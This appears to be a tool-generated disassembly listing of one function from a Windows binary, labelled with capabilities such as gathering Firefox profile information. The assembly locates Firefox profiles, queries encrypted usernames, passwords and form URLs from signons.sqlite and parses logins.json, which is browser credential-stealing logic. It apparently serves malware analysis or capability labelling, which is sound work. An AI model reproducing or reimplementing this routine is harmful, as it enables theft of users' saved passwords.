Function at 0x4021aa
Capabilities:
Gather firefox profile information
Get common file path
Read .ini file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4811da
mov eax, dword fs:[0]
push eax
mov eax, 0x1380
call fcn.00465390
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x218]
push eax
xor eax, eax
mov dword [ebp - 0x1380], esi
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x218]
push eax
push str._sMozillaFirefoxprofiles.ini
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.004652d1
add esp, 0x10
lea eax, [ebp - 0x114]
push eax
push 0x1000
lea eax, [ebp - 0x131c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileSectionNamesA]
lea ebx, [ebp - 0x131c]
mov dword [ebp - 0x1384], ebx
push 7
push str.Profile
push ebx
call fcn.004640d5
add esp, 0xc
test eax, eax
jne 0x402662
lea eax, [ebp - 0x114]
push eax
push 0x104
lea eax, [ebp - 0x31c]
push eax
push 0
push str.Path
push ebx
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
lea eax, [ebp - 0x31c]
push eax
lea ecx, [ebp - 0x134c]
call fcn.00401127
mov esi, eax
and dword [ebp - 4], 0
lea eax, [ebp - 0x31c]
push eax
lea ecx, [ebp - 0x1334]
call fcn.00401127
mov edi, eax
push 0x4838e0
mov byte [ebp - 4], 1
call fcn.004015b2
pop ecx
push eax
push 0
push 0x4838e0
mov ecx, esi
call fcn.00401cdc
push 0xffffffffffffffff
inc eax
mov ecx, edi
push eax
lea eax, [ebp - 0x1364]
push eax
call fcn.004026a3
cmp dword [eax + 0x14], 0x10
jb 0x4022db
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x218]
push eax
push str._sMozillaFirefoxProfiles_s
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.004652d1
add esp, 0x14
lea ecx, [ebp - 0x1364]
xor esi, esi
push esi
push 1
call fcn.00401334
push esi
push 1
lea ecx, [ebp - 0x1334]
call fcn.00401334
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x134c]
push esi
push 1
call fcn.00401334
lea eax, [ebp - 0x114]
push eax
call dword [0x4b4248]
pop ecx
test eax, eax
jne 0x402662
push 0x4b4224
call fcn.00464463
cmp eax, 0x20
lea eax, [ebp - 0x114]
pop ecx
jge 0x4024ac
push esi
push str._signons.sqlite
push eax
call fcn.00401af3
lea ecx, [ebp - 0x138c]
mov dword [ebp - 0x137c], eax
push ecx
push eax
call dword [0x4b4250]
add esp, 0x14
test eax, eax
jne 0x402656
push eax
lea eax, [ebp - 0x1368]
push eax
push 0xffffffffffffffff
push str.SELECT_encryptedUsername__encryptedPassword__formSubmitURL_FROM_moz_logins
push dword [ebp - 0x138c]
call dword [0x4b4254]
add esp, 0x14
test eax, eax
jne 0x402656
jmp 0x402486
push 0
push dword [ebp - 0x1368]
call dword [0x4b425c]
push 1
push dword [ebp - 0x1368]
mov edi, eax
call dword [0x4b425c]
push 2
push dword [ebp - 0x1368]
mov ebx, eax
call dword [0x4b425c]
add esp, 0x18
lea ecx, [ebp - 0x1378]
mov esi, eax
call fcn.0045c6ec
push 0x10
lea ecx, [ebp - 0x1378]
mov dword [ebp - 4], 2
call fcn.0045c7e9
push 0
lea ecx, [ebp - 0x1378]
call fcn.0045c7e9
push 2
lea ecx, [ebp - 0x1378]
call fcn.0045c7e9
push esi
call fcn.004026d3
pop ecx
push eax
lea ecx, [ebp - 0x1378]
call fcn.0045c8e0
push edi
call fcn.0040166c
push eax
call fcn.004026d3
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x1378]
call fcn.0045c8e0
push ebx
call fcn.0040166c
push eax
call fcn.004026d3
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x1378]
call fcn.0045c8e0
mov ecx, dword [ebp - 0x1380]
lea eax, [ebp - 0x1378]
push eax
call fcn.00403510
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1378]
call fcn.0045c702
push dword [ebp - 0x1368]
call dword [0x4b4258]
pop ecx
cmp eax, 0x64
je 0x4023b2
push dword [ebp - 0x137c]
call fcn.0046537d
jmp 0x402655
push esi
push str.logins.json
push eax
call fcn.00401af3
push 0x483974
push eax
mov dword [ebp - 0x1388], eax
call fcn.00464b3d
mov ebx, eax
add esp, 0x14
mov dword [ebp - 0x137c], ebx
test ebx, ebx
je 0x402656
push 2
push esi
push ebx
call fcn.00464e52
push ebx
call fcn.00465265
push 0
push 0
push ebx
mov edi, eax
call fcn.00464e52
lea ecx, [edi + 1]
push ecx
call fcn.00461d70
push ebx
push edi
mov esi, eax
push 1
push esi
call fcn.00464d17
push str.formSubmitURL
push esi
call fcn.00464200
mov edi, eax
add esp, 0x38
test edi, edi
je 0x402643
mov ebx, dword [ebp - 0x1380]
add edi, 0x10
push str.usernameField
push edi
call fcn.00464200
pop ecx
mov esi, eax
pop ecx
lea ecx, [ebp - 0x1370]
mov byte [esi - 3], 0
call fcn.0045c6ec
push 0x10
lea ecx, [ebp - 0x1370]
mov dword [ebp - 4], 3
call fcn.0045c7e9
push 0
lea ecx, [ebp - 0x1370]
call fcn.0045c7e9
push 2
lea ecx, [ebp - 0x1370]
call fcn.0045c7e9
push edi
call fcn.004026d3
pop ecx
push eax
lea ecx, [ebp - 0x1370]
call fcn.0045c8e0
lea eax, [esi - 2]
push str.encryptedUsername
push eax
call fcn.00464200
push str.encryptedPassword
lea esi, [eax + 0x14]
push esi
call fcn.00464200
mov edi, eax
push esi
mov byte [edi - 3], 0
call fcn.0040166c
push eax
call fcn.004026d3
add esp, 0x18
lea ecx, [ebp - 0x1370]
push eax
call fcn.0045c8e0
lea eax, [edi - 2]
push str.encryptedPassword
push eax
call fcn.00464200
push str.guid
lea esi, [eax + 0x14]
push esi
call fcn.00464200
mov edi, eax
push esi
mov byte [edi - 3], 0
call fcn.0040166c
push eax
call fcn.004026d3
add esp, 0x18
lea ecx, [ebp - 0x1370]
push eax
call fcn.0045c8e0
lea eax, [ebp - 0x1370]
mov ecx, ebx
push eax
lea esi, [edi - 2]
call fcn.00403510
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1370]
call fcn.0045c702
push str.formSubmitURL
push esi
call fcn.00464200
mov edi, eax
pop ecx
pop ecx
test edi, edi
jne 0x40252a
mov ebx, dword [ebp - 0x137c]
push dword [ebp - 0x1388]
call fcn.0046537d
push ebx
call fcn.00464a02
pop ecx
pop ecx
call dword [0x4b424c]
mov ebx, dword [ebp - 0x1384]
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc ebx
add ebx, eax
mov dword [ebp - 0x1384], ebx
cmp byte [ebx], 0
jne 0x40223e
push dword [ebp - 0x1380]
call fcn.00401c6e
pop ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00462f14
mov esp, ebp
pop ebp
ret